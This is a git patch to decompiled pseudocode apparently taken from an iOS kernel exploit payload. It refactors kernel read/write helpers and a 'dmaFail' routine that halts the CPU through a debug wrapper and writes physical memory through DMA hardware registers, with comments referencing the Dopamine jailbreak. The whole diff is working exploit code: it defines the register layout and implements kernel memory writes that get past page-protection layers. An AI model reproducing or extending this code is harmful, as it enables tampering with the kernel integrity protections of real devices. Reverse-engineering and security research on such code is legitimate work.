From f23eea1ed946415ec6e0aaadb73b1bbc104e33ab Mon Sep 17 00:00:00 2001 From: khanhduytran0 Date: Mon, 1 Jun 2026 20:22:45 +0700 Subject: [PATCH] Fix 13 & rename dmaFail constants --- src/payload_377bed/entry1_type0x09.m | 400 ++++++++++++++------------- 1 file changed, 201 insertions(+), 199 deletions(-) diff --git a/src/payload_377bed/entry1_type0x09.m b/src/payload_377bed/entry1_type0x09.m index 9d01e2b..9c37376 100644 --- a/src/payload_377bed/entry1_type0x09.m +++ b/src/payload_377bed/entry1_type0x09.m @@ -146,10 +146,10 @@ const void *__fastcall sub_12E48(const void *result, _BYTE *a2); const void *__fastcall sub_12E88(const void *result, __int64 a2); void __fastcall sub_12EF8(struct_krwCtx *a1); bool __fastcall sub_1308C(struct_krwCtx *a1); -void __fastcall sub_130B4(__int64 a1, unsigned __int64 a2, __int64 a3, __int64 a4); +bool __fastcall sub_130B4(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4); bool __fastcall sub_13304(struct_krwCtx *ctx, mach_vm_address_t vaddr, __int64 newBytes, __int64 size, int a5); -__int64 __fastcall sub_1353C(__int64 a1, __int64 *a2, int *a3); -void __fastcall sub_13750(struct_krwCtx *a1, unsigned __int64 a2, unsigned __int64 a3); +unsigned int __fastcall sub_1353C(__int64 a1, __int64 *a2, int *a3); +bool __fastcall sub_13750(struct_krwCtx *a1, unsigned __int64 a2, unsigned __int64 a3); bool __fastcall sub_13844(struct_krwCtx *a1, unsigned __int64 a2, int a3); bool __fastcall sub_13924(struct_krwCtx *a1, unsigned __int64 a2, int a3); __int64 __fastcall ppl_kwritebuf(__int64 ctx, unsigned __int64 vaddr, void *newBytes, int size); @@ -677,13 +677,43 @@ enum enum { + // Dopamine dmaFail.c MMIO layout: + // 0x206040000 dbgwrap, 0x206140000 DMA control, 0x206150000 DMA address/data. + DMAFAIL_REG_BASE = 0x206000000ULL, + DMAFAIL_DBGWRAP_MAP_OFFSET = 0x40000ULL, + DMAFAIL_DMA_CTRL_MAP_OFFSET = 0x140000ULL, + DMAFAIL_DMA_DATA_MAP_OFFSET = 0x150000ULL, DMAFAIL_DBGWRAP_DBGHALT = 1u << 31, DMAFAIL_DBGWRAP_DBGACK = 1u << 28, - DMAFAIL_DMA_CTRL = 0x206140108ULL, - DMAFAIL_DMA_ENABLE = 0x206140008ULL, - DMAFAIL_DMA_DATA = 0x206150048ULL, - DMAFAIL_DMA_ADDR = 0x206150040ULL, - DMAFAIL_A15_A16_DMA_BACKUP = 0x206150020ULL, + DMAFAIL_DMA_CTRL_STATUS_OFFSET = 0x108, + DMAFAIL_DMA_ENABLE_OFFSET = 0x8, + DMAFAIL_DMA_A15_A16_BACKUP_OFFSET = 0x20, + DMAFAIL_DMA_ADDR_OFFSET = 0x40, + DMAFAIL_DMA_DATA_OFFSET = 0x48, + DMAFAIL_DMA_CTRL = DMAFAIL_REG_BASE + DMAFAIL_DMA_CTRL_MAP_OFFSET + DMAFAIL_DMA_CTRL_STATUS_OFFSET, + DMAFAIL_DMA_ENABLE = DMAFAIL_REG_BASE + DMAFAIL_DMA_CTRL_MAP_OFFSET + DMAFAIL_DMA_ENABLE_OFFSET, + DMAFAIL_DMA_DATA = DMAFAIL_REG_BASE + DMAFAIL_DMA_DATA_MAP_OFFSET + DMAFAIL_DMA_DATA_OFFSET, + DMAFAIL_DMA_ADDR = DMAFAIL_REG_BASE + DMAFAIL_DMA_DATA_MAP_OFFSET + DMAFAIL_DMA_ADDR_OFFSET, + DMAFAIL_A15_A16_DMA_BACKUP = DMAFAIL_REG_BASE + DMAFAIL_DMA_DATA_MAP_OFFSET + DMAFAIL_DMA_A15_A16_BACKUP_OFFSET, + DMAFAIL_CACHE_LINE_SIZE = 0x40, + DMAFAIL_CACHE_LINE_MASK = DMAFAIL_CACHE_LINE_SIZE - 1, + DMAFAIL_PHYS_PAGE_SHIFT = 14, + DMAFAIL_PHYS_UPPER_SHIFT = 18, + DMAFAIL_DMA_ADDR_VALID = 0x2000000, + DMAFAIL_DMA_ADDR_TTE_LOW_MASK = 0x7FC0, + DMAFAIL_DMA_ADDR_TTE_KEEP_BIT = 0x4000, + DMAFAIL_DMA_TARGET_UPPER_MASK = 0x3FFFFFFFFFFFFULL, + DMAFAIL_DMA_HASH2_SHIFT = 50, + DMAFAIL_DMA_HASH1_INDEX_LEGACY = 40, // Dopamine gDMAIndex on A12-A14 + DMAFAIL_DMA_HASH1_INDEX_A15_A16 = 8, // Dopamine gDMAIndex on A15/A16 + DMAFAIL_DMA_MASK_A15_A16 = 0x7FFFFFF, // Dopamine gDMAMask on A15/A16 + DMAFAIL_DMA_MASK_LEGACY = 0x3FFFFF, // Dopamine gDMAMask on A12-A14 + DMAFAIL_DMA_CTRL_BUSY_BITS = 0x8000000000000001ULL, + DMAFAIL_DMA_CTRL_RESTORE_MASK = 0x8000000000000000ULL, + DMAFAIL_DMA_ENABLE_BIT = 0x1000000000000000ULL, + DMAFAIL_DMA_A15_ADDR_HASH_MASK = 0x1F, + DMAFAIL_DMA_A15_ADDR_HASH_SHIFT = 37, + DMAFAIL_DMA_HASH1_A15_A16_KEEP_MASK = 0x3E0, }; void *__memcpy_chk(void *dst, const void *src, size_t len, size_t dstlen); void *__memset_chk(void *dst, int val, size_t len, size_t dstlen); @@ -11185,107 +11215,96 @@ bool __fastcall sub_1308C(struct_krwCtx *a1) } //----- (00000000000130B4) ---------------------------------------------------- -void __fastcall sub_130B4(__int64 a1, unsigned __int64 a2, __int64 a3, __int64 a4) +bool __fastcall sub_130B4(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4) { - unsigned __int64 v8; // x24 - unsigned __int64 v9; // x26 - __int64 v10; // x25 - __int64 v11; // x8 - unsigned __int64 v12; // x23 - unsigned __int64 v13; // x26 - __int64 v14; // x28 - int v15; // w0 - bool v16; // cc - unsigned __int64 v17; // x8 - unsigned __int64 v18; // x9 - unsigned __int64 v19; // x10 - int v20; // w9 - __int64 v21; // x0 - __int64 v22; // [xsp+0h] [xbp-70h] BYREF - __int64 v23; // [xsp+8h] [xbp-68h] BYREF - unsigned __int64 v24; // [xsp+10h] [xbp-60h] BYREF - __int64 v25; // [xsp+18h] [xbp-58h] BYREF + __int64 v11; // x8 + unsigned __int64 v12; // x23 + unsigned __int64 v13; // x26 + __int64 v14; // x28 + int v15; // w0 + bool v16; // cc + unsigned __int64 v17; // x8 + unsigned __int64 v18; // x9 + unsigned __int64 v19; // x10 + int v20; // w9 + __int64 v21; // x0 + __int64 v22; // [xsp+0h] [xbp-70h] BYREF + uint32_t v230, v231; // [xsp+8h] [xbp-68h] BYREF + unsigned __int64 v24; // [xsp+10h] [xbp-60h] BYREF + __int64 v25; // [xsp+18h] [xbp-58h] BYREF - v24 = 0; - v25 = 0; - v22 = 0; - v23 = 0; - if ( krw_ctx_has_flag((struct_krwCtx *)a1, 85475329) && a2 && a3 && (_DWORD)a4 ) - { - if ( *(_QWORD *)(a1 + 344) < 0x1F530000000000uLL ) + v22 = 0; + v230=0; v231=0; + v24 = 0; + v25 = 0; + if ( !krw_ctx_has_flag((struct_krwCtx *)a1, 85475329)) return 0; + if (!a2 || !a3 || !a4 ) return 0; + if ( *(_QWORD *)(a1 + 344) >= 0x1F530000000000uLL ) { + return !!sub_13304((struct_krwCtx *)a1, a2, a3, a4, 0); + } + if ( sub_1353C(a1, (__int64 *)&v24, &v231) ) { - if ( (unsigned int)sub_1353C(a1, (__int64 *)&v24, (int *)&v23 + 1) ) - { - v8 = v24; if ( v24 <= a2 ) { - v9 = a2 + (unsigned int)a4; - v10 = HIDWORD(v23); - if ( v9 <= v24 + HIDWORD(v23) ) - { - if ( (unsigned int)sub_36160((struct_krwCtx *)a1, 3u, &v25) ) + if ( a2 + a4 <= v24 + v231 ) { - if ( v25 ) - goto LABEL_13; - v16 = (unsigned int)v10 > 0x8C000 - || (unsigned __int64)(*(_QWORD *)(a1 + 344) - 0x18090A07900000LL) > 0xF788FFFFFLL; - v17 = v10 + 8; - if ( !v16 ) - v17 = 573448; - v18 = *(unsigned int *)(a1 + 384); - v19 = v17 % v18; - v20 = v18 - v17 % v18; - if ( !v19 ) - v20 = 0; - LODWORD(v23) = v17 + v20; - v21 = sub_3796C(a1, &v23); - v25 = v21; - if ( v21 ) - { - if ( (unsigned int)sub_361DC(a1, 3u, v21) ) + if ( (unsigned int)sub_36160((struct_krwCtx *)a1, 3u, &v25) ) { -LABEL_13: - v11 = *(_QWORD *)(a1 + 392); - v12 = a2 & ~v11; - v13 = (v9 - 1) & ~v11; - if ( v12 > v13 ) - { -LABEL_19: - kwritebuf_last_1(a1, a2 - v8 + v25, a3, a4); - } - else - { - while ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v25 + v10, 8, &v22) ) + if ( v25 ) + goto LABEL_13; + v16 = (unsigned int)v231 > 0x8C000 + || (unsigned __int64)(*(_QWORD *)(a1 + 344) - 0x18090A07900000LL) > 0xF788FFFFFLL; + v17 = v231 + 8; + if ( !v16 ) + v17 = 573448; + v18 = *(unsigned int *)(a1 + 384); + v19 = v17 % v18; + v20 = v18 - v17 % v18; + if ( !v19 ) + v20 = 0; + v230 = v17 + v20; + v21 = sub_3796C(a1, &v230); + v25 = v21; + if ( v21 ) { - v14 = 1 << ((v12 - v8) >> 14); - if ( (v22 & v14) == 0 ) - { - sub_13750((struct_krwCtx *)a1, v25 + v12 - v8, v12); - if ( !v15 ) - break; - v22 |= v14; - if ( !(unsigned int)kwritebuf_last_1(a1, v25 + v10, (__int64)&v22, 8) ) - break; - } - v12 += *(unsigned int *)(a1 + 384); - if ( v12 > v13 ) - goto LABEL_19; + if ( (unsigned int)sub_361DC(a1, 3u, v21) ) + { + LABEL_13: + v11 = *(_QWORD *)(a1 + 392); + v12 = a2 & ~v11; + v13 = (a2 + a4 - 1) & ~v11; + if ( v12 > v13 ) + { + LABEL_19: + return (unsigned int)kwritebuf_last_1(a1, a2 - v24 + v25, a3, a4) != 0; + } + else + { + while ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v25 + v231, 8, &v22) ) + { + v14 = 1 << ((v12 - v24) >> 14); + if ( (v22 & v14) == 0 ) + { + v15 = sub_13750((struct_krwCtx *)a1, v25 + v12 - v24, v12); + if ( !v15 ) + break; + v22 |= v14; + if ( !(unsigned int)kwritebuf_last_1(a1, v25 + v231, (__int64)&v22, 8) ) + break; + } + v12 += *(unsigned int *)(a1 + 384); + if ( v12 > v13 ) + goto LABEL_19; + } + } + } } - } } - } } - } } - } } - else - { - sub_13304((struct_krwCtx *)a1, a2, a3, a4, 0); - } - } + return 0; } -// 13224: variable 'v15' is possibly undefined //----- (0000000000013304) ---------------------------------------------------- bool __fastcall sub_13304(struct_krwCtx *ctx, mach_vm_address_t vaddr, __int64 newBytes, __int64 size, int a5) @@ -11382,7 +11401,7 @@ LABEL_30: if ( *(_DWORD *)v25 == ctx->pageSizeOrSomething ) { v21 = v22; - sub_13750(ctx, v22, v12); + v23 = sub_13750(ctx, v22, v12); if ( v23 ) { *(_QWORD *)&ctx->gap4[v19 + 4] = v12; @@ -11407,10 +11426,8 @@ LABEL_32: } return v10 == 0; } -// 134A0: variable 'v23' is possibly undefined - //----- (000000000001353C) ---------------------------------------------------- -__int64 __fastcall sub_1353C(__int64 a1, __int64 *a2, int *a3) +unsigned int __fastcall sub_1353C(__int64 a1, __int64 *a2, int *a3) { __int64 v6; // x22 int v7; // w8 @@ -11529,85 +11546,69 @@ LABEL_31: // 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); //----- (0000000000013750) ---------------------------------------------------- -void __fastcall sub_13750(struct_krwCtx *a1, unsigned __int64 a2, unsigned __int64 a3) +bool __fastcall sub_13750(struct_krwCtx *a1, unsigned __int64 a2, unsigned __int64 a3) { - int v5; // w0 unsigned __int64 v6; // x21 - int v7; // w0 __int64 v8; // x20 unsigned __int64 v9; // x22 unsigned __int64 v10; // x21 - __int128 v11; // [xsp+0h] [xbp-80h] BYREF - __int128 v12; // [xsp+10h] [xbp-70h] - unsigned __int64 v13; // [xsp+20h] [xbp-60h] - __int128 v14; // [xsp+30h] [xbp-50h] BYREF - __int128 v15; // [xsp+40h] [xbp-40h] - unsigned __int64 v16; // [xsp+50h] [xbp-30h] - - v16 = 0; - v14 = 0u; - v15 = 0u; - v13 = 0; - v11 = 0u; - v12 = 0u; - sub_2183C((__int64)a1, a3, (__int64)&v11); - if ( v5 ) + struct { - if ( BYTE4(v12) == 3 ) + __int128 q0; + __int128 q1; + unsigned __int64 q2; + } v11, v14; + + memset(&v11, 0, sizeof(v11)); + memset(&v14, 0, sizeof(v14)); + if ( sub_2183C((__int64)a1, a3, &v11) ) + { + asm volatile("" ::: "memory"); + if ( BYTE4(v11.q1) == 3 ) { - v6 = v13; - sub_2183C((__int64)a1, a2, (__int64)&v14); - if ( v7 ) + v6 = v11.q2; + if ( sub_2183C((__int64)a1, a2, &v14) ) { - if ( BYTE4(v15) == 3 ) + asm volatile("" ::: "memory"); + if ( BYTE4(v14.q1) == 3 ) { - v8 = v14; - v9 = v16; - v10 = v16 & 0xFFFF000000003FFFLL | (((v6 >> 14) & 0x3FFFFFFFFLL) << 14); - if ( ((unsigned int)v10 == (unsigned int)v16 || sub_13924(a1, v14, v10)) + v8 = *(__int64 *)&v14.q0; + v9 = v14.q2; + v10 = v14.q2 & 0xFFFF000000003FFFLL | (((v6 >> 14) & 0x3FFFFFFFFLL) << 14); + if ( ((unsigned int)v10 == (unsigned int)v14.q2 || sub_13924(a1, *(__int64 *)&v14.q0, v10)) && (HIDWORD(v9) == HIDWORD(v10) || sub_13924(a1, v8 + 4, SHIDWORD(v10))) ) { sub_2AABC((__int64)a1, 0x2710u); + return 1; } } } } } + return 0; } -// 13794: variable 'v5' is possibly undefined -// 137B8: variable 'v7' is possibly undefined //----- (0000000000013844) ---------------------------------------------------- +// DONE: matches orig asm shape; x0 carries the bool result from the tail call/callee. bool __fastcall sub_13844(struct_krwCtx *a1, unsigned __int64 a2, int a3) { - unsigned int v6; // [xsp+Ch] [xbp-34h] BYREF - unsigned __int64 v7; // [xsp+10h] [xbp-30h] BYREF - int v8; // [xsp+1Ch] [xbp-24h] BYREF - __int64 vars8; // [xsp+48h] [xbp+8h] + int v8; // [xsp+1Ch] [xbp-24h] BYREF + unsigned __int64 v7; // [xsp+10h] [xbp-30h] BYREF + unsigned int v6; // [xsp+Ch] [xbp-34h] BYREF + __int64 vars8; // [xsp+48h] [xbp+8h] - v8 = a3; - v7 = 0; - v6 = 0; - if ( krw_ctx_has_flag(a1, 85475329) ) - { - if ( a1->someLargeNumber >= 0x1F530000000000LL ) - goto LABEL_6; - if ( !(unsigned int)sub_1353C((__int64)a1, (__int64 *)&v7, (int *)&v6) ) - return 0; - if ( v7 <= a2 && a2 + 4 <= v7 + v6 ) - { - sub_130B4((__int64)a1, a2, (__int64)&v8, 4); - return 1; + v8 = a3; + v7 = 0; + v6 = 0; + if ( !krw_ctx_has_flag(a1, 85475329) ) return 0; + if ( a1->someLargeNumber >= (uint64_t)0x1F530000000000 ) + return sub_13924(a1, a2, a3); + if ( !sub_1353C((__int64)a1, (__int64 *)&v7, (int *)&v6) ) + return 0; + if ( v7 <= a2 && a2 + 4 <= v7 + v6 ) { + return sub_130B4((__int64)a1, a2, (__int64)&v8, 4); } - else - { -LABEL_6: - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return sub_13924(a1, a2, a3); - } - } - return 0; + return sub_13924(a1, a2, a3); } //----- (0000000000013924) ---------------------------------------------------- @@ -23346,9 +23347,9 @@ bool __fastcall sub_22CA8(bool *a1) //----- (0000000000022D6C) ---------------------------------------------------- __int64 __fastcall dmaFail_physwrite32(struct_krwCtx *a1, __int64 a2, int a3) { - __int64 v6; // x23 - char v7; // w25 - __int64 v8; // x28 + __int64 v6; // x23, dmaFail MMIO register base + char v7; // w25, physical page shift + __int64 v8; // x28, Dopamine gDMAMask __int64 v9; // x20 __int64 v10; // x24 __int64 *v11; // x1 @@ -23398,15 +23399,15 @@ __int64 __fastcall dmaFail_physwrite32(struct_krwCtx *a1, __int64 a2, int a3) _OWORD v56[2]; // [xsp+180h] [xbp-C0h] _OWORD __s1[4]; // [xsp+1A0h] [xbp-A0h] BYREF - v6 = 0x206000000LL; - v7 = 14; + v6 = DMAFAIL_REG_BASE; + v7 = DMAFAIL_PHYS_PAGE_SHIFT; if ( krw_ctx_has_flag(a1, 0x1000000) || krw_ctx_has_flag(a1, 0x100000) ) { - v8 = 0x7FFFFFF; + v8 = DMAFAIL_DMA_MASK_A15_A16; } else { - v8 = 0x3FFFFF; + v8 = DMAFAIL_DMA_MASK_LEGACY; } v9 = 708642; if ( (unsigned int)dmaFail_set_power_state((__int64)a1, 1) ) @@ -23418,12 +23419,12 @@ LABEL_85: sub_25164((__int64)a1, 4u); return v10; } - if ( (unsigned int)physmap_map_cached(a1, v6 | 0x140000, (__int64)v49) ) + if ( (unsigned int)physmap_map_cached(a1, v6 | DMAFAIL_DMA_CTRL_MAP_OFFSET, (__int64)v49) ) { v10 = 708642; goto LABEL_85; } - if ( (unsigned int)physmap_map_cached(a1, v6 | 0x150000, (__int64)v50) ) + if ( (unsigned int)physmap_map_cached(a1, v6 | DMAFAIL_DMA_DATA_MAP_OFFSET, (__int64)v50) ) { v11 = v49; LABEL_84: @@ -23440,35 +23441,35 @@ LABEL_83: } v12 = v49[0]; v13 = v50[0]; - v42 = *(_QWORD *)(v49[0] + 264); + v42 = *(_QWORD *)(v49[0] + DMAFAIL_DMA_CTRL_STATUS_OFFSET); v14 = 0; v15 = 0; if ( krw_ctx_has_flag(a1, 17825792) ) { - v39 = *(_QWORD *)(v50[0] + 32LL); - v40 = (_QWORD *)(v50[0] + 32LL); - *(_QWORD *)(v50[0] + 32LL) = 1; + v39 = *(_QWORD *)(v50[0] + DMAFAIL_DMA_A15_A16_BACKUP_OFFSET); + v40 = (_QWORD *)(v50[0] + DMAFAIL_DMA_A15_A16_BACKUP_OFFSET); + *(_QWORD *)(v50[0] + DMAFAIL_DMA_A15_A16_BACKUP_OFFSET) = 1; } else { v39 = 0; v40 = 0; } - v16 = dmaFail_phystokv_cached((__int64)a1, a2 & 0xFFFFFFFFFFFFFFC0LL); + v16 = dmaFail_phystokv_cached((__int64)a1, a2 & ~(uint64_t)DMAFAIL_CACHE_LINE_MASK); if ( v16 ) { - v47 = v42 | 0x8000000000000000LL; - v17 = ((-1 << v7) & 0x4000 ^ 0x7FC0) & (unsigned int)v16 | 0x2000000; - v41 = (v16 >> 37) & 0x1F; + v47 = v42 | DMAFAIL_DMA_CTRL_RESTORE_MASK; + v17 = ((-1 << v7) & DMAFAIL_DMA_ADDR_TTE_KEEP_BIT ^ DMAFAIL_DMA_ADDR_TTE_LOW_MASK) & (unsigned int)v16 | DMAFAIL_DMA_ADDR_VALID; + v41 = (v16 >> DMAFAIL_DMA_A15_ADDR_HASH_SHIFT) & DMAFAIL_DMA_A15_ADDR_HASH_MASK; v18 = v16 >> v7; v19 = 0; v20 = v18 & v8; - v21 = a2 & 0x3F; - v43 = v20 << 18; + v21 = a2 & DMAFAIL_CACHE_LINE_MASK; + v43 = v20 << DMAFAIL_PHYS_UPPER_SHIFT; v44 = v17; while ( 1 ) { - if ( !(unsigned int)kreadbuf_last_1(a1, a2 & 0xFFFFFFFFFFFFFFC0LL, 64, &__s2) ) + if ( !(unsigned int)kreadbuf_last_1(a1, a2 & ~(uint64_t)DMAFAIL_CACHE_LINE_MASK, DMAFAIL_CACHE_LINE_SIZE, &__s2) ) { LABEL_72: v37 = 0; @@ -23476,9 +23477,9 @@ LABEL_72: } if ( v19 ) { - if ( !memcmp(__s1, &__s2, 0x40u) ) + if ( !memcmp(__s1, &__s2, DMAFAIL_CACHE_LINE_SIZE) ) goto LABEL_30; - if ( !memcmp(&__s2, v55, 0x40u) || *(_DWORD *)((char *)&__s2 + v21) == a3 ) + if ( !memcmp(&__s2, v55, DMAFAIL_CACHE_LINE_SIZE) || *(_DWORD *)((char *)&__s2 + v21) == a3 ) { v37 = 0; v9 = 0; @@ -23497,21 +23498,21 @@ LABEL_72: LABEL_30: if ( !(unsigned int)dmaFail_dbgwrap_halt_cpu(a1, (__int64)v48) ) goto LABEL_72; - *(_QWORD *)(v12 + 264) |= 0x8000000000000001LL; - while ( (~*(_QWORD *)(v12 + 264) & 0x8000000000000001LL) != 0 ) + *(_QWORD *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) |= DMAFAIL_DMA_CTRL_BUSY_BITS; + while ( (~*(_QWORD *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) & DMAFAIL_DMA_CTRL_BUSY_BITS) != 0 ) sub_2AABC((__int64)a1, 0x64u); - *(_QWORD *)(v12 + 8) &= ~0x1000000000000000uLL; - *(_QWORD *)(v12 + 264) &= v47; - while ( (*(_QWORD *)(v12 + 264) & 0x8000000000000001LL) != 0 ) + *(_QWORD *)(v12 + DMAFAIL_DMA_ENABLE_OFFSET) &= ~DMAFAIL_DMA_ENABLE_BIT; + *(_QWORD *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) &= v47; + while ( (*(_QWORD *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) & DMAFAIL_DMA_CTRL_BUSY_BITS) != 0 ) sub_2AABC((__int64)a1, 0x64u); v22 = 0; - *(_QWORD *)(v13 + 64) = v44; + *(_QWORD *)(v13 + DMAFAIL_DMA_ADDR_OFFSET) = v44; do { - *(_QWORD *)(v13 + 72) = *(_QWORD *)((char *)v55 + v22); + *(_QWORD *)(v13 + DMAFAIL_DMA_DATA_OFFSET) = *(_QWORD *)((char *)v55 + v22); v22 += 8; } - while ( v22 != 64 ); + while ( v22 != DMAFAIL_CACHE_LINE_SIZE ); v23 = 0; v24 = 0; v25 = dmaFail_sbox; @@ -23542,7 +23543,7 @@ LABEL_30: } while ( v27 != 8 ); has_flag = krw_ctx_has_flag(a1, 540673); - if ( krw_ctx_has_flag(a1, 35651584) && (v31 = v41 | v24 & 0x3E0, v31 != v24) ) + if ( krw_ctx_has_flag(a1, 35651584) && (v31 = v41 | v24 & DMAFAIL_DMA_HASH1_A15_A16_KEEP_MASK, v31 != v24) ) { v34 = 10; v32 = has_flag; @@ -23561,29 +23562,29 @@ LABEL_30: LOWORD(v31) = v24; v32 = has_flag; } - v33 = 40; + v33 = DMAFAIL_DMA_HASH1_INDEX_LEGACY; if ( !v32 ) - v33 = 8; - *(_QWORD *)(v13 + 72) = v43 & 0x3FFFFFFFFFFFFLL - | ((unsigned __int64)v28 << 50) + v33 = DMAFAIL_DMA_HASH1_INDEX_A15_A16; + *(_QWORD *)(v13 + DMAFAIL_DMA_DATA_OFFSET) = v43 & DMAFAIL_DMA_TARGET_UPPER_MASK + | ((unsigned __int64)v28 << DMAFAIL_DMA_HASH2_SHIFT) | ((unsigned __int64)(unsigned __int16)v31 << v33) | 0x1F; - *(_QWORD *)(v12 + 264) |= 0x8000000000000001LL; - while ( (~*(_QWORD *)(v12 + 264) & 0x8000000000000001LL) != 0 ) + *(_QWORD *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) |= DMAFAIL_DMA_CTRL_BUSY_BITS; + while ( (~*(_QWORD *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) & DMAFAIL_DMA_CTRL_BUSY_BITS) != 0 ) sub_2AABC((__int64)a1, 0x64u); - *(_QWORD *)(v12 + 8) |= 0x1000000000000000uLL; - v21 = a2 & 0x3F; + *(_QWORD *)(v12 + DMAFAIL_DMA_ENABLE_OFFSET) |= DMAFAIL_DMA_ENABLE_BIT; + v21 = a2 & DMAFAIL_CACHE_LINE_MASK; if ( !(unsigned int)kreadbuf_last_1(a1, a2, 4, (char *)&__s2 + v21) ) goto LABEL_74; - if ( *(_DWORD *)((char *)&__s2 + (a2 & 0x3F)) == a3 ) + if ( *(_DWORD *)((char *)&__s2 + (a2 & DMAFAIL_CACHE_LINE_MASK)) == a3 ) { v9 = 0; LABEL_74: v37 = 1; goto LABEL_76; } - *(_QWORD *)(v12 + 264) &= v47; - while ( (*(_QWORD *)(v12 + 264) & 0x8000000000000001LL) != 0 ) + *(_QWORD *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) &= v47; + while ( (*(_QWORD *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) & DMAFAIL_DMA_CTRL_BUSY_BITS) != 0 ) sub_2AABC((__int64)a1, 0x64u); if ( (dmaFail_dbgwrap_unhalt_cpu(a1, (__int64)v48) & 1) == 0 ) goto LABEL_74; @@ -23594,8 +23595,8 @@ LABEL_74: } v37 = 0; LABEL_76: - if ( v42 && *(_QWORD *)(v12 + 264) != v42 ) - *(_QWORD *)(v12 + 264) &= v42 | 0x8000000000000000LL; + if ( v42 && *(_QWORD *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) != v42 ) + *(_QWORD *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) &= v42 | DMAFAIL_DMA_CTRL_RESTORE_MASK; if ( krw_ctx_has_flag(a1, 17825792) ) { *v40 = v39; @@ -23772,7 +23773,7 @@ bool __fastcall dmaFail_map_dbgwrap(struct_krwCtx *a1, __int64 a2, _OWORD *a3) a3[3] = 0u; *a3 = 0u; a3[1] = 0u; - v5 = physmap_map_cached(a1, a2 + 0x40000, (__int64)a3); + v5 = physmap_map_cached(a1, a2 + DMAFAIL_DBGWRAP_MAP_OFFSET, (__int64)a3); if ( v5 ) physmap_unmap_cached((__int64)a1, (__int64)a3); return v5 == 0; @@ -23788,6 +23789,7 @@ __int64 __fastcall dmaFail_phystokv_cached(__int64 a1, __int64 a2) } out; if ( sub_2183C(a1, a2 & ~*(_QWORD *)(a1 + 392), &out)) { + asm volatile("" ::: "memory"); uint64_t physmapKva = out.physmapKva; if (!physmapKva) return 0; return (physmapKva & 0xFFFFFFFFC000LL) + (*(_QWORD *)(a1 + 392) & a2);